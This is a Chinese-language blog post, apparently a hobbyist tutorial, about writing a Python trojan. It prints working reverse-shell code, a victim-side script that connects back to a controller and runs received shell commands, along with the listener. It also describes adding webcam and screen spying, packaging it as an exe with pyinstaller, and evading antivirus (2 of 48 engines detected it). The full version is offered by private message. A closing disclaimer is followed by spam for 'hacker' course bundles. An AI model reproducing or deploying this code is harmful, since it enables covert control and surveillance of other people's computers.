木马炼成记:从菜鸟到入门
别以为木马是啥高深玩意儿,本质上就是个远程控制程序。它潜伏在你的电脑里,偷偷摸摸地把你的信息传给“幕后黑手”。
为啥木马能用各种语言写?这得从计算机的底层原理说起。不管是C、还是Go,这些高级语言最终都要翻译成机器语言才能让电脑执行。
简单来说,高级语言就像是人类的语言,机器语言就是电脑的语言。而编译器就是个翻译,把人类的语言翻译成电脑能懂的语言。
编译器这玩意儿是怎么来的?其实就是把一些常用的汇编语言功能封装成函数,就像C语言里的自定义函数一样。
所以,木马的运行归根结底还是机器语言在驱动。为了方便起见,咱们用这种高级语言来写,站在巨人的肩膀上,事半功倍!
简易木马:服务端与客户端的“PY交易”
一个简易木马通常由两部分组成:服务端(被控制的电脑)和客户端(攻击机)。它们之间通过建立连接,进行“PY交易”。
先运行监听程序,再运行木马程序,就能看到一个交互式的终端界面。
本质上,这就是通过连接两台服务器,把攻击机的指令发送给被控制端,然后把结果返回。
如果你觉得这只是个脚本,不算木马,那就用把它打包成exe文件。
pyinstaller --onefile 1.py
再运行这个exe文件,就能看到成功回连了。
神奇的是,直接运行木马脚本不会报毒,生成的exe文件火绒也没啥反应(只有 会弹个窗),可能是因为太弱鸡了。
木马升级:监控摄像头和屏幕,打造你的专属“楚门世界”
既然如此,那就来个升级版!加入摄像头监控和屏幕监控功能黑客菜鸟入门,打造你的专属“楚门世界”。
这里有个坑:进程交互的时候,查看视频会导致进程阻塞。经过一番调试,终于找到了问题所在。
先实现单摄像头监控,效果如下:
然后加入远程屏幕监控功能,用实时传输图片数据,再用多线程来避免进程阻塞,实现视频监控和终端交互两不误。
就这样,一个简易的监控、摄像、终端三项功能的控制木马就诞生了。当然,因为只是简化版,程序的性能会受到一些限制,比如同时开启屏幕监控和摄像头后容易卡死。想要优化,还需要更多的知识储备。
免杀奇迹:我的木马竟然能过360和火绒?
在编写过程中黑客菜鸟入门,我发现打包出来的exe文件竟然能过360和火绒!最后48款查杀中只有两款能测出,可能是因为样本太小了。
本次分享就到这里。木马主要通过运行exe文件来上线,所以不乱下软件就能避免大部分陷阱。还有一些木马会藏在合法的白程序中,像特洛伊木马一样,让你防不胜防。接下来,我会写一篇关于常见钓鱼方式的文章,比如水坑攻击、钓鱼网站链接、压缩包程序木马等容易被上马和信息泄露的方式。只有真正了解,才能最大程度避免。
最后的絮叨:代码共享与安全提醒
如果你对木马免杀感兴趣,可以研究下各个厂商的杀毒软件对于特征的侧重检查。如果你也想自己制作一个木马来研究学习,可以私信我,因为程序比较敏感和代码量合起来长达200多行也不好直接贴在下面。下面就贴一个最初的交互版本,完整版私信我,如果你感兴趣的话。
被控端:
import socket import subprocess import os def connect(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, port)) return s def receive_commands(s): while True: command = s.recv(1024).decode() if command.lower() == 'exit': s.close() break elif command[:2] == 'cd': os.chdir(command[3:]) s.send(b'Changed directory') else: result = subprocess.run(command, shell=True, capture_output=True) s.send(result.stdout + result.stderr) if __name__ == '__main__': ip = '127.0.0.1' # 控制服务器的IP地址 port = 4444 # 控制服务器的端口 s = connect(ip, port) receive_commands(s)
客户端:
import socket def start_server(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((ip, port)) s.listen(5) print(f'[*] Listening on {ip}:{port}') return s def handle_client(client_socket): while True: command = input('> ') client_socket.send(command.encode()) if command.lower() == 'exit': break result = client_socket.recv(4096).decode('gbk') print(result) if __name__ == '__main__': ip = '127.0.0.1' # 控制服务器的IP地址 port = 4444 # 控制服务器的端口 server = start_server(ip, port) client_socket, addr = server.accept() print(f'[*] Connection from {addr}') handle_client(client_socket)
再次强调:本文仅供学习研究,切勿用于非法用途!网络安全,人人有责!
黑客/网络安全学习包
资料目录
成长路线图&学习规划
配套视频教程
SRC&黑客文籍
护网行动资料
黑客必读书单
面试题合集
282G《网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取!
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
朋友们需要全套共282G的《网络安全/黑客技术入门学习大礼包》,可以扫描下方二维码免费领取!
限时特惠:本站持续每日更新海量各大内部创业课程,一年会员仅需要98元,全站资源免费下载
点击查看详情
站长微信:Jiucxh